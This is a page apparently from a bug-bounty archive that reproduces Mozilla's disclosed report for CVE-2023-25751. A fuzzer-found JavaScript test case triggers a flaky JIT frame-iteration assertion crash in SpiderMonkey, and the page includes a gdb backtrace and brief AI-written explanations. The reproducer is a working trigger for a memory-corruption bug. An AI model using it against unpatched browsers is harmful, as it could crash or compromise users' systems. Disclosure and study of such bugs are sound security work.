Skip to content
Memory corruption Disclosed report Advanced CVE-2023-25751

MOZ_ASSERT(ionScript->containsReturnAddress(returnAddr)) at jit/JSJitFrameIter.cpp:71

A crafted JavaScript program triggers a flaky assertion failure in the JIT compiler's frame iteration code, where the expected assertion instruction is replaced by a memory load. An attacker could potentially cause a crash or undefined behaviour in the JavaScript engine.

lukas.bernhard Follow

Originally disclosed on Mozilla

  • Fixed in 11 days
  • Paid in 39 days
  • Disclosed after 11 days
Text
Steps to reproduce:

The attached sample crashes the js-shell on commit a7156afbfa575f12f60b1c8bf099d547c29bcadf when executed via commandline `--fuzzing-safe --gc-zeal=10`. The crash is flaky, but running it via `rr record --chaos` for some time should yield a crash. While the crash is in line `MOZ_ASSERT(ionScript->containsReturnAddress(returnAddr));`, the instruction is `mov rax,QWORD PTR [rbx+0x30]` instead of a normal assertion failure.

'''
function f0(a1) {
    const v5 = [0,0,0,0,0,0,0,0];
    const v10 = new SharedArrayBuffer(1000, {});
    const v12 = new Int16Array();
    for (const v14 in v5.join(a1)) { } 
}
f0.toString = f0; 
for (let v15 = 0; v15 < 100; v15++) {
    f0(f0);
}
f0();
this.unscopables;
'''


'''
#0  js::jit::JSJitFrameIter::checkInvalidation (this=<optimized out>, ionScriptOut=0x7ffe1b63b5c0)
    at js/src/jit/JSJitFrameIter.cpp:71
#1  0x00005564199cbe93 in js::jit::TraceIonJSFrame (trc=0x7ffe1b63b938, frame=...)
    at js/src/jit/JitFrames.cpp:947
#2  js::jit::TraceJitActivation (trc=0x7ffe1b63b938, activation=<optimized out>)
    at js/src/jit/JitFrames.cpp:1358
#3  js::jit::TraceJitActivations (cx=<optimized out>, trc=0x7ffe1b63b938) at js/src/jit/JitFrames.cpp:1400
#4  0x00005564193b6560 in js::gc::GCRuntime::traceRuntimeCommon (this=0x6d0133323788, trc=0x7ffe1b63b938, 
    traceOrMark=js::gc::GCRuntime::MarkRuntime) at js/src/gc/RootMarking.cpp:303
#5  0x00005564193b6300 in js::gc::GCRuntime::traceRuntimeForMajorGC (this=0x6d0133323788, trc=0x7ffe1b63b938, session=...)
    at js/src/gc/RootMarking.cpp:242
#6  0x000055641931cc57 in js::gc::GCRuntime::updateRuntimePointersToRelocatedCells (this=0x6d0133323788, session=...)
    at js/src/gc/Compacting.cpp:802
#7  js::gc::GCRuntime::compactPhase (this=0x6d0133323788, reason=JS::GCReason::DEBUG_GC, sliceBudget=..., session=...)
    at js/src/gc/Compacting.cpp:103
#8  0x0000556419341b8c in js::gc::GCRuntime::incrementalSlice (this=0x6d0133323788, budget=..., reason=JS::GCReason::DEBUG_GC, 
    budgetWasIncreased=<optimized out>) at js/src/gc/GC.cpp:3696
#9  0x0000556419346109 in js::gc::GCRuntime::gcCycle (this=0x6d0133323788, nonincrementalByAPI=false, budgetArg=..., 
    reason=JS::GCReason::DEBUG_GC) at js/src/gc/GC.cpp:4160
#10 0x0000556419346f63 in js::gc::GCRuntime::collect (this=0x6d0133323788, nonincrementalByAPI=<optimized out>, budget=..., 
    reason=JS::GCReason::DEBUG_GC) at js/src/gc/GC.cpp:4348
#11 0x0000556419311542 in js::gc::GCRuntime::runDebugGC (this=0x6d0133323788) at js/src/gc/GC.cpp:4795
#12 js::gc::GCRuntime::gcIfNeededAtAllocation (this=<optimized out>, cx=<optimized out>)
    at js/src/gc/Allocator.cpp:412
#13 js::gc::GCRuntime::checkAllocatorState<(js::AllowGC)1> (this=0x6d0133323788, cx=0x6d0133336600, 
    kind=js::gc::AllocKind::OBJECT2_BACKGROUND) at js/src/gc/Allocator.cpp:376
#14 0x000055641931095c in js::gc::detail::AllocateObject<(js::AllowGC)1> (cx=0x6d0133336600, kind=<optimized out>, nDynamicSlots=0, 
    heap=js::gc::TenuredHeap, clasp=0x556419f27090 <js::PropertyIteratorObject::class_>, site=0x0)
    at js/src/gc/Allocator.cpp:56
#15 0x00005564188f3319 in js::gc::CellAllocator::NewCell<js::NativeObject, (js::AllowGC)1, js::gc::AllocKind&, unsigned long const&, js::gc::InitialHeap&, JSClass const*&, js::gc
::AllocSite*&> (cx=0x6d0133336600, args=<optimized out>, args=<optimized out>, 
--Type <RET> for more, q to quit, c to continue without paging--
     args=<optimized out>, args=<optimized out>) at js/src/gc/Allocator.h:123
#16 JSContext::newCell<js::NativeObject, (js::AllowGC)1, js::gc::AllocKind&, unsigned long const&, js::gc::InitialHeap&, JSClass const*&, js::gc::AllocSite*&> (this=0x6d013333660
0, args=<optimized out>, args=<optimized out>, args=<optimized out>, args=<optimized out>, 
    args=<optimized out>) at js/src/vm/JSContext.h:266
#17 js::NativeObject::create (cx=0x6d0133336600, kind=js::gc::AllocKind::OBJECT2_BACKGROUND, heap=js::gc::TenuredHeap, shape=..., 
    site=0x0) at js/src/vm/NativeObject-inl.h:446
#18 0x0000556418b84b50 in NewPropertyIteratorObject (cx=0x6d0133336600) at js/src/vm/Iteration.cpp:803
#19 CreatePropertyIterator (cx=0x6d0133336600, objBeingIterated=..., props=..., supportsIndices=false, indices=0x0, numShapes=0)
    at js/src/vm/Iteration.cpp:845
#20 0x0000556418b7f0eb in GetIteratorImpl<false> (obj=..., cx=<optimized out>)
    at js/src/vm/Iteration.cpp:1262
#21 js::GetIterator (cx=0x6d0133336600, obj=...) at js/src/vm/Iteration.cpp:1293
#22 0x0000556418b86112 in js::ValueToIterator (cx=0x6d0133336600, vp=...) at js/src/vm/Iteration.cpp:1619
'''

The original report as published on Mozilla's Bugzilla, by lukas.bernhard. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a race condition or memory corruption in the JIT's handling of return addresses during garbage collection, causing the assertion check to be bypassed.

What the attacker needed

Ability to run JavaScript in the affected engine; specific command-line flags for fuzzing

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report describes a bug in a JavaScript engine (SpiderMonkey) where a specially crafted script causes the program to crash in an unexpected way. The crash happens in the part of the engine that compiles and runs code quickly (the JIT), and it is not consistent, meaning it only happens sometimes. A crash like this could be used to disrupt a service or, in worse cases, to run malicious code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by lukas.bernhard

View all

16 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.